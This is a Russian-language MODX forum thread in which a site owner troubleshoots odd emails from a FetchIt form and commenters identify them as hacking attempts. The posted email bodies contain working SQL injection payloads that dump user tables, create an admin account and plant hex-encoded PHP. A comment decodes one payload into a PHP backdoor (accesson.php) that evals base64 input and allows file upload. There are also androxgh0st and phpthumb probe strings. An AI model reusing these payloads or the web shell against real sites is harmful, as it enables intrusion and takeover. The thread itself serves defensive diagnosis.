На почту приходят непонятные письма с формы FetchIt.
На сайте есть форма обратной связи FetchIt
[[!FetchIt?
&form=`callbackform`
&hooks=`email`
&emailSubject=`Обратный звонок`
&emailTpl=`TplEmailcallbackform`
validate=`phoneform: required`
&emailTo=`mail@mail.ru`
&validationErrorMessage=`В форме содержатся ошибки!`
&successMessage=`Сообщение успешно отправлено!`
]]
Это то что находится внутри &form=`callbackform`
<form action="[[~[[*id]]]]" method="post" class="p-4 p-md-5 border rounded-3 bg-primary bg-gradient">
<div class="form-floating mb-3">
<input name="phoneform" type="tel" class="form-control" id="phoneform" placeholder="+7 (XXX) XXX-XX-XX" pattern="(\+7|8)\s?[\(]?(\d{3})[\)]?\s?[\-]?(\d{3})[\-]?(\d{2})[\-]?(\d{2})" required>
<label for="phoneform">Телефон</label>
<div class="invalid-feedback" data-error="phoneform">[[+fi.error.phoneform]]</div>
</div>
<button class="w-100 btn btn-lg btn-light bg-gradient" type="submit">Жду звонка</button>
<hr class="text-white my-4">
<small class="text-white text-center">Свяжемся с вами в течении 1 минуты</small>
</form>
Это то что находится внутри &emailTpl=`TplEmailcallbackform`
<h1>Форма обратного звонка</h1>
<p>Телефон: [[+phoneform]]</p>
<p>id страницы: [[*id]]</p>
Это письма за 11 марта. Время и само сообщение. Все письма отправляются с заголовком «Обратный звонок» при этом почему-то не соответствуют телу письма которое находится в &emailTpl=`TplEmailcallbackform`
19:46
0x:androxgh0st
18:05 ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugin_events (`pluginid`,`event`,`priority`,`propertyset`) VALUES ((SELECT id FROM modx_site_plugins WHERE `name`='phpinfo' LIMIT 1),'OnWebPageComplete',0,0);/*: GaGaGa
18:05ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugin_events (`pluginid`,`event`,`priority`,`propertyset`) VALUES ((SELECT id FROM modx_site_plugins WHERE `name`='phpinfo' LIMIT 1),'OnPageNotFound',0,0);/*: GaGaGa
18:05ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugins (`name`,`cache_type`,`plugincode`) VALUES ('phpinfo',0,UNHEX('2473203D20245F5345525645525B27444F43554D454E545F524F4F54275D2E272F6173736574732F273B247331203D2024732E27696D616765732F273B6D6B646972282473312C353131293B246668203D20666F70656E282473312E276163636573736F6E2E706870272C20277727293B667772697465282466682C20273C3F3D3430393732332A32303B6966286D643528245F434F4F4B49455B645D293D3D225C36315C7833375C36305C36325C7833385C3134365C7833345C37305C36375C3134335C3134325C7833325C3134315C37305C7833345C7833365C7833305C36375C7833365C36345C7833365C7836345C3134315C36335C3134315C3134345C36335C37305C36375C7833385C3134355C31343322297B6563686F225C7836665C783662223B6576616C286261736536345F6465636F646528245F524551554553545B69645D29293B696628245F504F53545B225C3136355C313630225D3D3D225C3136355C78373022297B40636F707928245F46494C45535B225C7836365C3135315C7836635C783635225D5B225C3136345C3135355C7837305C7835665C783665<strong></strong>5C7836315C7836645C783635225D2C245F46494C45535B225C3134365C7836395C3135345C783635225D5B225C3135365C3134315C3135355C783635225D293B7D7D3F3E27293B66636C6F736528246668293B756E6C696E6B2824732E272E687461636365737327293B756E6C696E6B282473312E272E687461636365737327293B'));/*: GaGaGa
18:05ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_content (`type`,`contentType`,`pagetitle`,`alias`,`published`,`content`,`editedby`,`editedon`,`hidemenu`,`uri`) VALUES ('document','text/html','sosol','sosol',1,UNHEX('3c703e5b5b21736f736f6c5d5d3c2f703e'),1,1360844251,1,'sosol');/*: GaGaGa
18:05ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_snippets (`source`,`name`,`snippet`) VALUES (1,'sosol',UNHEX('2473203D20245F5345525645525B27444F43554D454E545F524F4F54275D2E272F6173736574732F273B247331203D2024732E27696D616765732F273B6D6B646972282473312C353131293B246668203D20666F70656E282473312E276163636573736F6E2E706870272C20277727293B667772697465282466682C20273C3F3D3430393732332A32303B6966286D643528245F434F4F4B49455B645D293D3D225C36315C7833375C36305C36325C7833385C3134365C7833345C37305C36375C3134335C3134325C7833325C3134315C37305C7833345C7833365C7833305C36375C7833365C36345C7833365C7836345C3134315C36335C3134315C3134345C36335C37305C36375C7833385C3134355C31343322297B6563686F225C7836665C783662223B6576616C286261736536345F6465636F646528245F524551554553545B69645D29293B696628245F504F53545B225C3136355C313630225D3D3D225C3136355C78373022297B40636F707928245F46494C45535B225C7836365C3135315C7836635C783635225D5B225C3136345C3135355C7837305C7835665C7836655C7836315C7836645C783635225D2C245F46494C45535B225C3134365C7836395C3135345C783635225D5B225C3135365C3134315C3135355C783635225D293B7D7D3F3E27293B66636C6F736528246668293B756E6C696E6B2824732E272E687461636365737327293B756E6C696E6B282473312E272E687461636365737327293B'));/*: GaGaGa
18:05ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);UPDATE modx_system_settings SET `value`='1' WHERE `key`='cache_disabled';UPDATE modx_system_settings SET `value`='0' WHERE `key`='cache_default';UPDATE modx_system_settings SET `value`='0' WHERE `key`='cache_system_settings';/*: GaGaGa
16:10config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
12:50ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);UPDATE modx_user_attributes SET `internalKey` = (SELECT `id` FROM modx_users WHERE `username`='modxsecure' LIMIT 1) WHERE `internalKey` = 0;/*: GaGaGa
12:50ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(1);UNION SELECT id,username,password FROM modx_users WHERE username IN('modxsecure');/*: GaGaGa
12:50ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_user_attributes (`email`,`blocked`) VALUES ('yumnitest@modxz.com', 0);/*: GaGaGa
12:50ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_users(`username`,`password`,`active`,`salt`,`primary_group`,`sudo`) VALUES('modxsecure','K/kCexN2TCvP4/L9w7i+IlzKfRVbH9MlhE4hXmD88Mw=', 1, 'dd257bbc31dbe5c3518c95b592f5bfca', 1, 1);/*: GaGaGa
12:50config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
На сайте установлены следящие пакеты (Все плагины последней версии)
— FetchIt
— FormIt
— MIGX
— MinifyHTML
— pdoTools
— pThumb
— Resizer
— SEO Suite
— Translitor
MODX Версии 3.0.4
P.s. 12.03.2024
Сейчас обратил внимание что у меня validate=`phoneform: required` стоит без & возможно поэтому получается отправить данные без корректного заполнения номера. Сейчас исправлю и буду смотреть дальше.
Комментарии: 11
Больше похоже на попытку SQL-инъекции.
SQL-инъекции начали приходить недавно. А до этого приходило следующее.
12:50
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
12:50
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.
А так да, прям попыточка взломать всё.
К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого
А так да, прям попыточка взломать всё.
К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого
$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');
беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…
Я посмотрел вроде он также пытался создать пользователя но у него не получилось. Sql-иньекцию пытались сделать только 1 раз 11 марта судя по почте. С этим всё понятно а что значат остальные сообщения. Которые приходят уже почти неделю с разным временем и количеством каждый день. Такие вот 3 сообщения
debug: true
0x:androxgh0st
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
debug: true
0x:androxgh0st
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
Это всё попытки взлома. Скорее всего бомбят action.php. Вариант защиты использовать токен. Можешь попробовать использовать SendIt.
большой вопрос — почему в почту попадает вот это а не содержимое чанка письма…
Почему-то берет во внимания &emailSubject=`Обратный звонок` но игнорирует &emailTpl=`TplEmailcallbackform`. Я исправил validate=`phoneform: required` добавил к нему & возможно из-за этого как-то некорректно работало.
Через AjaxForm без FetchIt происходит тоже самое, игнорирование измененного чанка письма, удаленных/измененных input, проверок на пустоту и тд. Прямая какая-то проброска идет через assets/components/ajaxform/action.php.
После исправления (добавления) & к validate=`phoneform: required` шаблон письма (&emailTpl) начал работать. Но письма пустые продолжают приходить
Я выключил &emailTpl чтобы посмотреть что приходит. В данный момент приходят только это письма каждый день по нескольку раз.
phtumb и resizer отключил но это не помогло.
Форма обратного звонка
Телефон:
id страницы: 1
Я выключил &emailTpl чтобы посмотреть что приходит. В данный момент приходят только это письма каждый день по нескольку раз.
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
phoneform:
phtumb и resizer отключил но это не помогло.
Так же заметил что это сообщение приходит только с id страницы: 1 то есть с главной страницы
У меня тоже было с одной страницы весь спам. Пробуй сделать что написал Павел, только в
assets/components/fetchit/action.php
Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.